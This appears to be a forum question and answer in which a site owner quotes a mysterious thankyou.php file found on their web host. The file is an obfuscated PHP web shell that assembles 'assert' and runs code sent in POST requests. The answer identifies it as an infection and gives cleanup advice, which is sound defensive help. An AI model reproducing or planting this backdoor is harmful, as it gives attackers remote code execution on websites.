神秘的php文件出现了，你能帮我搞清楚它是什么[关闭]

Question

I was uploading a file to my web hosting and noticed that a file called thankyou.php has appeared. I don't recall ever having seen this file or this code before. Alarmingly, the file, plus my favicon have last modified times four hours after I would have been making changes. Can you advise me on whether the code below means anything? note the spaces after the last character of each line. It's been so long since I dabbled in php, and it was just a dabble.

<?php                  
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";                  
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";                  
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}                  
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>

Answer 1

This can only be an infection in your files. This might not even be the only one. The best thing you can do is check all your files on this sort of infections.

If you have done that, change all your passwords like FTP and database.

Whatever you do, DO NOT change password BEFORE checking the files. They may have made something to get your password changes (PHP mostly).